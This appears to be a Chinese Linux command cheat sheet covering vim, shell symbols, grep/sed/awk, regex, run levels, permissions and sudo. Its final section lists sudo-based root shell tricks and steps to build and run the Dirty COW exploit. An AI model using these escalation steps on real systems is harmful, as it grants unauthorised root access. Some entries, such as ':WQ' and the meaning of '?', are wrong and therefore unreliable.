Linux系统常用操作与命令指南
一、快捷分类
1、移动光标
h, j, k, l
左, 下, 上, 右
Ctrl-F:下翻一页
Ctrl-B:上翻一页
Ctrl-U:上翻半页
Ctrl-d:下翻半页
0:跳至行首,不管有无缩进,就是跳到第0个字符
^:跳至行首的第一个字符
$:跳至行尾
gg:跳至文首
G:调至文尾
5gg/5G调至第5行
2、删除复制
x:删除单个字符
dd:删除光标所在行,#使用u撤销,使用Ctrl+R恢复
6dd:从光标开始往下删除6行
dW:删除一个单词(word)
p:粘贴粘贴板的内容到当前行的下面
P:粘贴粘贴板的内容到当前行的上面
yy:复制行
5yy:复制5行
3、搜索和替换
/pattern向后搜索字符串pattern # 辅助n和N
?pattern向前搜索字符串pattern # 辅助n和N
:%s/old/new/g搜索整个文件,将所有的old替换为new
:%s/old/new/gc搜索整个文件,将所有的old替换为new,每次都要你确认是否替换
4、退出编辑器
:w将缓冲区写入文件,即保存修改
:WQ保存修改并退出
:x保存修改并退出
:q退出,如果对缓冲区进行过修改,则会提示
:q!强制退出,放弃修改
二、Linux特殊符号
;命令的分隔符
例如:
[root@localhost ~]# touch 111.txt;chmod 777 111.txt
[root@localhost ~]# ll 111.txt
-rwxrwxrwx 1 root root 0 9月 12 04:40 111.txt
..代表上级目录
例如:
[root@localhost ~]# pwd
/root
[root@localhost ~]# cd ..
[root@localhost /]# pwd
/
.代表当前目录
例如:
[root@localhost opt]# cp /data/man_db.conf .
[root@localhost opt]# ls
man_db.conf
""双引号,换行,解析变量
''单引号,换行,不解析变量
变量,值是不固定的
常量,值是固定
\ 转义符,反斜杠
/ 路径分隔符
` 反引号(ESC 下边的按钮)
例如:
[root@localhost opt]# touch test_`date +%T`.txt
[root@localhost opt]# ls test_04\:56\:22.txt
test 04:56:22.txt! 历史命令调用
* 通配符
$ 调用变量
例如:
root@stara-virtual-machine:~/桌面# export LANG='en_US.UTF-8'
root@stara-virtual-machine:~/桌面# echo $LANG
en_US.UTF-8
root@stara-virtual-machine:~/桌面# stat 1.txt 文件:1.txt大小:27 块:8 IO 块大小:4096 普通文件
设备:803h/2051d Inode:669435 硬链接:1
权限:(0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
访问时间:2024-11-14 16:22:54.863895859 +0800
修改时间:2024-11-14 16:22:54.863895859 +0800
变更时间:2024-11-14 16:22:54.864896003 +0800
创建时间:2024-11-14 16:22:54.863895859 +0800
root@stara-virtual-machine:~/桌面# export LANG='zh_CN.UTF-8'
root@stara-virtual-machine:~/桌面# stat 1.txt 文件:1.txt大小:27 块:8 IO 块大小:4096 普通文件
设备:803h/2051d Inode:669435 硬链接:1
权限:(0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
访问时间:2024-11-14 16:22:54.863895859 +0800
修改时间:2024-11-14 16:22:54.863895859 +0800
变更时间:2024-11-14 16:22:54.864896003 +0800
创建时间:2024-11-14 16:22:54.863895859 +0800
> 输出重定向
>> 追加输出重定向
< 输入重新定向
<< 追加输入重定向
| 管道
|| 第一个命令失败,才执行第二个命令
&& 和,一起执行
& f
~ 代表家目录
三、三剑客和正则表达式
1、grep
# 擅长过滤
# grep参数
-n 行号
-c 对结果行计数
-i 不区分大小写
-v 反向搜索,取反
-w 精准匹配
-o 只显示匹配的结果
-A1 同时打印搜索结果行的后一行
-B3 同时打印搜索结果行的前三行
-C2 同时打印搜索结果行的上下各两行
-E 扩展正则表达式
-P 使用per1正则
2、sed
# 擅长修改
用法:sed [-nri] [动作] 目标文件文件
选项与参数:
-n :使用安静(silent)模式。在一般 sed 的用法中,所有来自 STDIN 的数据一般都会被列出到终端上。但如果加上-n 参数后,则只有经过sed 特殊处理的那一行(或者动作)才会被列出来。
-r: sed的动作支持的是延伸型正则表示法的语法。(默认是基础正则表示法语法)
-i: 直接修改读取的文件内容,而不是输出到终端。动作说明:[n1[,n2]lfunction
n1,n2一般表示为行号function:
a: 指定行后面插入一行
d: 删除
i: 指定行前面插入一行
p: 打印,#一般和前面的-n参数一起用
s: 替换需要I忽略大小写,全局替换需要g
3、awk
# 擅长取列
用法,取列
例如1: 取列
awk '{print $1}' 1.txt
awk '{print $1,$7}' /etc/passwd
例如2: 指定分隔符
awk -F ":"'{print $7,$1}'/etc/passwd
例子3:拼凑指定文本,双引号之间原样输出
awk -F “:” ‘{print $1":123:"$7}'/etc/passwd
例子4: 过滤文本
awk -F "[ /]+" 'S2~/^47/' 1.txt
例子5: 根据行号筛选内容
awk 'NR<=3{print $0}' 1.txt # > < == >= <=
4、正则表达式
1、什么是正则表达式?
简单的说,正则表达式就是一套处理大量的字符串而定义的规则和方法。
例如:假设 @代表12345
通过正则表达式这些特殊符号,我们可以快速的过滤、替换需要的内容。
Linux正则一般以行为单位处理的。
2、正则表达式
1、^ 表示搜索以什么开头。
2、$ 表示搜索以什么结尾。
3、^$表示空行,不是空格。
4、. 代表且只能代表任意一个字符。
5、\ 转义字符,让有着特殊身份意义的字符,脱掉马甲,还原原型。
例如:\.只表示小数点,还原原始小数点的意义。
6、* 重复0个或多个前面的一个字符。不代表所有了。
7、.* 匹配所有的字符。^.*任意多个字符开头
8、[abc] 匹配字符集合内任意一个字符[a-z]
9、[^abc] ^再中括号里面表示非,不包含a或b或c。
10、{n,m} 重复n到m次,前一个字符
11、+ 重复1次到多次
12、? 重复0次到多次
取ip的例子:
ip addr|grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'|sed -n '2p'grep 'Failed password' secure |grep -Eo '[0-9]{1,3}\.[0-9.]+'
取root用户登录时间
lastlog|sed -n'/root/p'|grep -Eo'[0-9]{2}:[0-9]{2}:[0-9]{2}'
四、Linux运行级别
运行级别 0 关机
运行级别 1 单用户
运行级别 2 不带网络的多用户
运行级别 3 完整的多用户模式
运行级别 4 保留
运行级别 5 桌面模式
运行级别 6 重启
# 切换运行级别
init
# 查看运行级别
systemctl get-default
# 设置运行级别
systemctl set-default graphical.target # 设置默认运行级别为图形
systemctl set-default multi-user.target # 设置默认运行级别为命令行
1、权限掩码
# 修改文件vim /etc/profile
root 默认权限掩码 022
普通用户 默认权限掩码 002
inode: 存储除文件名以外的属性
block:存储文件的内容,目录的block存储,该目录下的文件名和它的inode编号
2、特殊权限
suid 其他用户,拥有该文件属主的执行权限 针对命令文件
sgid 其他用户,拥有该文件属组的权限locate 针对命令文件
sticky 粘滞位 很多用户共同使用的目录,实现用户之间不能互相删除改变对方的文件的权限
3、su和sudo
su == switch user
sudo == superuser do
1.配置/etc/sudoers
# 用户名 所有终端 = 运行的用户身份 命令ALL
zhangsan ALL=(ALL) /bin/systemctl,/usr/bin/vim
2.使用sudo执行命令
# 使用sudo来执行命令
sudo systemctl stop network # start,stop,restart
# 查看可以使用的授权命令
sudo -l
五、Linux普通用户提权
sudo提权
vim # 命令模式执行: !/
find # sudo find .-exec bash \;
awk # sudo awk 'BEGIN {system("/bin/bash")}’
脏牛提权
仓库地址:https://github.com/gbonacini/CVE-2016-5195
# 上传文件 脏牛提权.zip
unzip 脏牛提权.zip
cd CVE-2016-5195-master/
make # 编译
./dcow -s # 提权
相关文章:
Linux系统常用操作与命令指南
一、快捷分类 1、移动光标 h, j, k, l 左, 下, 上, 右 Ctrl-F:下翻一页 Ctrl-B:上翻一页 Ctrl-U:上翻半页 Ctrl-d:下翻半页 0:跳至行首,不管有无缩进,就是跳到第0个字…...

StructuredStreaming (一)
一、sparkStreaming的不足 1.基于微批,延迟高不能做到真正的实时 2.DStream基于RDD,不直接支持SQL 3.流批处理的API应用层不统一,(流用的DStream-底层是RDD,批用的DF/DS/RDD) 4.不支持EventTime事件时间(一般流处理都会有两个时间:事件发生的事件&am…...

由播客转向个人定制的音频频道(1)平台搭建
项目的背景 最近开始听喜马拉雅播客的内容,但是发现许多不方便的地方。 休息的时候收听喜马拉雅,但是还需要不断地选择喜马拉雅的内容,比较麻烦,而且黑灯操作反而伤眼睛。 喜马拉雅为代表的播客平台都是VOD 形式的࿰…...
[自然语言处理] [AI]深入理解语言与情感分类:从基础到深度学习的进展
语言是人类智能的核心组成部分,具有极高的复杂性和多样性。理解语言,尤其是语言中的隐含部分,向来是人工智能研究的一个巨大挑战。图灵测试本身便是一场关于语言生成与理解的比赛,旨在检验机器是否能够模拟人类的语言能力。随着深度学习的飞速发展,语音识别、情感分析等自…...

【GPTs】Gif-PT:DALL·E制作创意动图与精灵动画
博客主页: [小ᶻZ࿆] 本文专栏: AIGC | GPTs应用实例 文章目录 💯GPTs指令💯前言💯Gif-PT主要功能适用场景优点缺点 💯小结 💯GPTs指令 中文翻译: 使用Dalle生成用户请求的精灵图动画&#…...
云原生周刊:Istio 1.24.0 正式发布
云原生周刊:Istio 1.24.0 正式发布 开源项目推荐 Kopf Kopf 是一个简洁高效的 Python 框架,只需几行代码即可编写 Kubernetes Operator。Kubernetes(K8s)作为强大的容器编排系统,虽自带命令行工具(kubec…...

Linux设置jar包开机启动
操作系统环境:CentOS 7 【需要 root 权限,使用 root 用户进行操作 或 普通用户使用 sudo 进行操作】 一、系统服务的方式 原理:利用系统服务管理应用程序的生命周期, systemctl 为系统服务管理工具 systemctl start applicati…...

计算机视觉和机器人技术中的下一个标记预测与视频扩散相结合
一种新方法可以训练神经网络对损坏的数据进行分类,同时预测下一步操作。 它可以为机器人制定灵活的计划,生成高质量的视频,并帮助人工智能代理导航数字环境。 Diffusion Forcing 方法可以对嘈杂的数据进行分类,并可靠地预测任务的…...
C语言之简单的获取命令行参数和环境变量
C语言之简单的获取命令行参数和环境变量 本人的开发环境为WIN10操作系统用VMWARE虚拟的UBUNTU LINUX 18.04LTS!!! 所有代码的编辑、编译、运行都在虚拟机上操作,初学的朋友要注意这一点!!! 详细…...

STL之vecor的使用(超详解)
目录 1. C/C中的数组 1.1. C语言中的数组 1.2. C中的数组 2. vector的接口 2.1. vector的迭代器 2.2. vector的初始化与销毁 2.3. vector的容量操作 2.4. vector的访问操作 2.5. vector的修改操作 💓 博客主页:C-SDN花园GGbond ⏩ 文章专栏…...

SystemVerilog学习笔记(一):数据类型
在systemverilog中,主要包含以下数据类型: 4值类型2值类型数组字符串结构体和联合体枚举自定义类型 无符号数:无符号数的符号不使用任何标志,即无符号数只能存储正数。无符号二进制数的范围从 0 到 ((2^n) - 1),n 表…...

Linux软件包管理与Vim编辑器使用指南
目录 一、Linux软件包管理器yum 1.什么是软件包? 2.什么是软件包管理器? 3.查看软件包 4.安装软件 编辑 5.卸载软件 Linux开发工具: 二、Linux编辑器---vim 1.vim的基本概念 (1) 正常/普通模式(Normal mode࿰…...
每日一练 | 包过滤防火墙的工作原理
01 真题题目 包过滤防火墙对哪一层的数据报文进行检查? A. 应用层 B. 物理层 C. 网络层 D. 链路层 02 真题答案 C 03 答案解析 包过滤防火墙是一种基本的安全设备,它通过检查进出网络的数据包来决定是否允许该数据包通过。 这种类型的防火墙主要关注…...

AR眼镜方案_AR智能眼镜阵列/衍射光波导显示方案
在当今AR智能眼镜的发展中,显示和光学组件成为了技术攻坚的主要领域。由于这些组件的高制造难度和成本,其光学显示模块在整个设备的成本中约占40%。 采用光波导技术的AR眼镜显示方案,核心结构通常由光机、波导和耦合器组成。光机内的微型显示…...

SpringBoot(十九)创建多模块Springboot项目(完整版)
之前我有记录过一次SpringBoot多模块项目的搭建,但是那一次只是做了一个小小的测试。只是把各模块联通之后就结束了。 最近要增加业务开发,要将目前的单模块项目改成多模块项目,我就参照了一下我上次搭建的流程,发现总是有报错。上次搭建的比较顺利,很多细枝末节也没有仔细…...
Navicat 17 功能简介 | 单元格编辑器
Navicat 17 功能简介 | 单元格编辑器 本期,我们一起了解 Navicat 17 出色的数据操作功能的单元格编辑器。单元格编辑器支持文本、十六进制、图像和网页四种格式的数据编辑,位于底部的编辑器窗格,为你编辑更大容量的数据信息提供足够的显示和操…...
MySQL【四】
插入数据 向数据表中插入一行数据 INSERT|REPLACE INTO 表名[(字段列表)] VALUES(值列表); ########## 在s表中插入一条记录:学号为s011,姓名为李思,性别为默认值,计算机专业 ########## insert into s(sno,sname,dept)values(s011,李思,计…...
简单叙述 Spring Boot 启动过程
文章目录 1. 准备阶段:应用启动的入口2. 创建 SpringApplication 对象:开始启动工作3. 配置环境(Environment):识别开发环境与生产环境4. 启动监听器和初始化器:感知启动的关键事件5. 创建 ApplicationCont…...

微信小程序自定义tabbar;禁用某个tab;修改某个tab的样式
微信小程序自定义tabbar;禁用某个tab;修改某个tab的样式 原本使用本身的tabBar就已经很舒服了,很合适了的,但是总有一些脑洞大开的产品和客户,给你搞点多样式,没办法牛马就得去做咯,现在就给大…...

力扣113:路径总和II
给你二叉树的根节点 root 和一个整数目标和 targetSum ,找出所有 从根节点到叶子节点 路径总和等于给定目标和的路径。 叶子节点 是指没有子节点的节点。 示例 1: 输入:root [5,4,8,11,null,13,4,7,2,null,null,5,1], targetSum 22 输出&a…...

SpringBoot-17-MyBatis动态SQL标签之常用标签
文章目录 1 代码1.1 实体User.java1.2 接口UserMapper.java1.3 映射UserMapper.xml1.3.1 标签if1.3.2 标签if和where1.3.3 标签choose和when和otherwise1.4 UserController.java2 常用动态SQL标签2.1 标签set2.1.1 UserMapper.java2.1.2 UserMapper.xml2.1.3 UserController.ja…...
[特殊字符] 智能合约中的数据是如何在区块链中保持一致的?
🧠 智能合约中的数据是如何在区块链中保持一致的? 为什么所有区块链节点都能得出相同结果?合约调用这么复杂,状态真能保持一致吗?本篇带你从底层视角理解“状态一致性”的真相。 一、智能合约的数据存储在哪里…...
【网络】每天掌握一个Linux命令 - iftop
在Linux系统中,iftop是网络管理的得力助手,能实时监控网络流量、连接情况等,帮助排查网络异常。接下来从多方面详细介绍它。 目录 【网络】每天掌握一个Linux命令 - iftop工具概述安装方式核心功能基础用法进阶操作实战案例面试题场景生产场景…...

Flask RESTful 示例
目录 1. 环境准备2. 安装依赖3. 修改main.py4. 运行应用5. API使用示例获取所有任务获取单个任务创建新任务更新任务删除任务 中文乱码问题: 下面创建一个简单的Flask RESTful API示例。首先,我们需要创建环境,安装必要的依赖,然后…...
模型参数、模型存储精度、参数与显存
模型参数量衡量单位 M:百万(Million) B:十亿(Billion) 1 B 1000 M 1B 1000M 1B1000M 参数存储精度 模型参数是固定的,但是一个参数所表示多少字节不一定,需要看这个参数以什么…...
深入浅出:JavaScript 中的 `window.crypto.getRandomValues()` 方法
深入浅出:JavaScript 中的 window.crypto.getRandomValues() 方法 在现代 Web 开发中,随机数的生成看似简单,却隐藏着许多玄机。无论是生成密码、加密密钥,还是创建安全令牌,随机数的质量直接关系到系统的安全性。Jav…...

Cinnamon修改面板小工具图标
Cinnamon开始菜单-CSDN博客 设置模块都是做好的,比GNOME简单得多! 在 applet.js 里增加 const Settings imports.ui.settings;this.settings new Settings.AppletSettings(this, HTYMenusonichy, instance_id); this.settings.bind(menu-icon, menu…...
解决本地部署 SmolVLM2 大语言模型运行 flash-attn 报错
出现的问题 安装 flash-attn 会一直卡在 build 那一步或者运行报错 解决办法 是因为你安装的 flash-attn 版本没有对应上,所以报错,到 https://github.com/Dao-AILab/flash-attention/releases 下载对应版本,cu、torch、cp 的版本一定要对…...
OpenLayers 分屏对比(地图联动)
注:当前使用的是 ol 5.3.0 版本,天地图使用的key请到天地图官网申请,并替换为自己的key 地图分屏对比在WebGIS开发中是很常见的功能,和卷帘图层不一样的是,分屏对比是在各个地图中添加相同或者不同的图层进行对比查看。…...

均衡后的SNRSINR
本文主要摘自参考文献中的前两篇,相关文献中经常会出现MIMO检测后的SINR不过一直没有找到相关数学推到过程,其中文献[1]中给出了相关原理在此仅做记录。 1. 系统模型 复信道模型 n t n_t nt 根发送天线, n r n_r nr 根接收天线的 MIMO 系…...